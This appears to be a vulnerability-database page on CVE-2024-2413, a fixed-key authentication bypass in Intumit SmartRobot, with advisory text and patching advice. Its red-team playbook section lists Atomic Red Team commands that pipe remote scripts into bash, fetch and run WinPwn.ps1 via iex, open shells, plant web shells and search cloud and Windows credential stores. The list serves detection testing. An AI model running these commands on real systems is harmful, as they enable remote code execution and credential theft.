CVE-2024-2413
Overview
The vulnerability in Intumit SmartRobot is an authentication bypass caused by the use of a fixed, hardcoded encryption key for generating authentication codes. This cryptographic weakness affects the authentication mechanism, specifically the process that validates user credentials by encrypting a string composed of the username and timestamp. The fixed key allows attackers to replicate valid authentication tokens without legitimate credentials.
Vulnerability Description
Intumit SmartRobot uses a fixed encryption key for authentication. Remote attackers can use this key to encrypt a string composed of the user's name and timestamp to generate an authentication code. With this authentication code, they can obtain administrator privileges and subsequently execute arbitrary code on the remote server using built-in system functionality.
Impact
An unauthenticated remote attacker can generate valid authentication tokens without knowledge of legitimate credentials, gaining administrator privileges on the Intumit SmartRobot system. This access allows execution of arbitrary code on the remote server, potentially leading to full system compromise, data theft, or service disruption. The vulnerability requires no user interaction and is exploitable over the network (CVSS vector AV:N/AC:L/PR:N/UI:N), making it highly critical for operational environments.
Solution
According to the advisory published by TW-CERT (https://www.twcert.org.tw/tw/cp-132-7697-ecf10-1.html), users of Intumit SmartRobot should apply the vendor-provided patches that replace the fixed encryption key with a dynamic, per-instance key management system. The vendor has released updated firmware versions addressing this issue; administrators must upgrade to these versions immediately. No effective workaround exists other than patching, as the root cause is embedded in the authentication cryptographic implementation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Intumit SmartRobot arises from the use of a fixed encryption key for authentication purposes. This design flaw allows remote attackers to exploit the predictable nature of the encryption mechanism. By leveraging the static key, an attacker can craft an authentication code by encrypting a string that includes a user's name and a timestamp. This enables unauthorized access to the system, as the generated code can be used to impersonate legitimate users, thereby granting the attacker administrator privileges. Once these privileges are obtained, the attacker can execute arbitrary code on the remote server, utilizing built-in system functionalities to further their malicious objectives.
Attack vectors for this vulnerability are particularly concerning due to the ease with which they can be executed. An attacker can initiate a remote attack without needing physical access to the target system. By sending crafted requests that include the encrypted authentication code, the attacker can bypass standard authentication mechanisms. This exploitation scenario is exacerbated by the fact that many organizations may not have stringent monitoring in place for unusual authentication attempts, allowing the attacker to operate undetected. Furthermore, the ability to execute arbitrary code means that an attacker could deploy malware, exfiltrate sensitive data, or disrupt critical services, leading to significant operational disruptions.
The real-world impact of this vulnerability can be profound, particularly for organizations that rely on Intumit SmartRobot for automation and operational efficiency. The potential for unauthorized access to administrative functions poses a severe business risk, as it can lead to data breaches, loss of intellectual property, and damage to the organization's reputation. Additionally, the financial implications of remediation efforts, legal liabilities, and potential regulatory fines can be substantial. As organizations increasingly integrate automation tools into their workflows, the exploitation of such vulnerabilities can result in cascading failures that affect not only the targeted organization but also its clients and partners.
To detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. First, implementing robust logging and monitoring systems can help identify anomalous authentication attempts, allowing for rapid response to potential breaches. Regular security assessments and penetration testing should be conducted to uncover vulnerabilities in the system before they can be exploited by malicious actors. Furthermore, organizations should consider transitioning to a more secure authentication mechanism that employs dynamic keys or multi-factor authentication to reduce the risk associated with fixed encryption keys. Additionally, keeping the software up to date with the latest security patches is crucial in minimizing exposure to known vulnerabilities.
In conclusion, the vulnerability associated with Intumit SmartRobot represents a significant threat to organizations that utilize this automation tool. The ability for attackers to exploit a fixed encryption key for unauthorized access and arbitrary code execution highlights the importance of secure design principles in software development. By understanding the technical details, potential attack vectors, and real-world impacts, organizations can better prepare themselves to defend against such vulnerabilities. Implementing effective detection and mitigation strategies will be essential in safeguarding critical systems and maintaining operational integrity in an increasingly automated world.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Intumit | Smartrobot | All |
cpe:2.3:a:intumit:smartrobot:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-2413 |
| twcert.org.tw |
GitHub CVE
third-party-advisory
|
https://www.twcert.org.tw/tw/cp-132-7697-ecf10-1.html |